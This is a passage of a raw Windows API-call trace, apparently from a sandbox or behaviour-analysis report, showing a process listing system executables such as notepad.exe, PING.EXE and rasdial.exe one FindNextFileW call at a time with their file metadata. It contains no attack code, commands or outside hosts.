cFileName="nltest.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb2c4cd, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8eb2c4cd, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb804920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3637c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f3637c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f3637c3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1ac00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="nslookup.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x994105eb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x1b54e595, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x99756431, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54e580, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="ntoskrnl.exe", cAlternateFileName="")) returned 1 [0164.364] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b6879f, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x92b6879f, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xebcede50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="ntprint.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ef12fdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ef12fdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ef3913b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2d800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="ocsetup.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3168728, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x3168728, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xebfc08d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x16000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="odbcad32.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6449966, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6449966, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xebfe79d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="odbcconf.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39a4b4b4, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x39a4b4b4, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xec0334c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="openfiles.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e3c16f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82e3c16f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xec057eb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x17e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="OptionalFeatures.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54c6203, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc54c6203, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xec1fbd70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="osk.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8323c00, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa8323c00, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xec32d040, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2b000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="p2phost.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85860053, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x85860053, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xec351a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="PATHPING.EXE", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cd61d53, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x2cd61d53, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec378b30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="pcalua.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29aa6c72, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x29aa6c72, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec39fc30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="pcaui.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31cd3551, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x31cd3551, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec3c4620, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="pcawrk.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1234dce3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1234dce3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdff17430, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="pcwrun.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x958b40de, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x958b40de, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x95a7d161, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="perfmon.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dcc4a3, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x86dcc4a3, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xec51c9f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="PING.EXE", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x834cf504, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x834cf504, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834cf504, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x30a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="PkgMgr.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1dfad5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xa1dfad5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec6997b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="plasrv.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936562fe, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936562fe, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="PnPUnattend.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8548a6ff, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8548a6ff, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xec6e52a0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="PnPutil.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x881b634b, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x881b634b, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xec709c90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x22c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="poqexec.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84adee62, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x84adee62, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xec730d90, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="powercfg.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0af919e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0af919e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0af919e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4e360, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="PresentationHost.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12d1a55, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12d1a55, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa12d1a55, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2b200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="PresentationSettings.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e8c314, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e8c314, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e8c314, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="prevhost.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x358d5cdc, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x358d5cdc, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xec7ef470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="print.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbece084d, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xbece084d, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xec8f9640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="PrintBrmUi.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc735d8b5, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xc735d8b5, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xecac1ef0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb6c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="printfilterpipelinesvc.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82819f6c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x82819f6c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xecac1ef0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="PrintIsolationHost.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa96daa1e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xa96daa1e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0xecb5bbe0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xf200, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="printui.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x936ee880, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x936ee880, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x937149e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="proquota.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46066a74, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46066a74, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xed3af170, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb2e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="psr.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e0b627, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2e0b627, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2e31787, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="PushPrinterConnections.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="qappsrv.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="qprocess.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="query.exe", cAlternateFileName="")) returned 1 [0164.365] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cdee020, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x6cdee020, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xed7673d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="quser.exe", cAlternateFileName="")) returned 1 [0164.366] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e275c42, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x6e275c42, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0xed78e4d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="qwinsta.exe", cAlternateFileName="")) returned 1 [0164.366] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73750778, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x73750778, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xed7b55d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="rasautou.exe", cAlternateFileName="")) returned 1 [0164.366] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7742950d, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7742950d, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xed7d9fc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="rasdial.exe", cAlternateFileName="")) returned 1 [0164.366] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e0b0458, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1e0b0458, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xed84cbb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1ec00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="raserver.exe", cAlternateFileName="")) returned 1 [0164.366] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78aec5a2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x78aec5a2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xed873cb0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="rasphone.exe", cAlternateFileName="")) returned 1 [0164.366] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2e7da47, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2e7da47, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2ea3ba8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x33800, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="rdpclip.exe", cAlternateFileName="")) returned 1 [0164.366] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efb6e09, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1efb6e09, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xedad3b40, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x7c3740, dwReserved1=0x77f, cFileName="rdrleakdiag.exe", cAlternateFileName="")) returned 1 [0164.366] FindNextFileW (in: hFindFile=0x7e2ac8, lpFindFileData=0x41f854 | out: lpFindFileData=0x41f854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238c2b68, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x238c2b68, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xedb1f630, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x7c3740, 